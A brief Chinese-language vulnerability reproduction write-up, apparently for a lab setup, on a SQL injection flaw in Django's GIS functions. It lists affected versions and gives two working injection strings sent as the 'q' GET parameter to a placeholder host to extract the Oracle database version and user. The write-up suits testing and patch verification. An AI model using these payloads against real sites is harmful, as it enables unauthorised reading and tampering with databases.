漏洞背景
Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。 Django 1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞。攻击者可借助特制的SQL语句利用该漏洞查看、添加、修改或删除数据库中的信息。
影响版本
- Djangoproject Django 1.11 - 1.11.29
- Djangoproject Django 2.2 - 2.2.11
- Djangoproject Django 3.0 - 3.0.4
- Debian Debian_Linux 9.0
- Debian Debian_Linux 10.0
- Fedoraproject Fedora 32
漏洞复现
漏洞一:
首先访问http://your-ip:8000/vuln/
。
在该网页中使用get方法构造q的参数,构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
漏洞二:
访问http://your-ip:8000/vuln2/
。
在该网页中使用get方法构造q的参数,构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --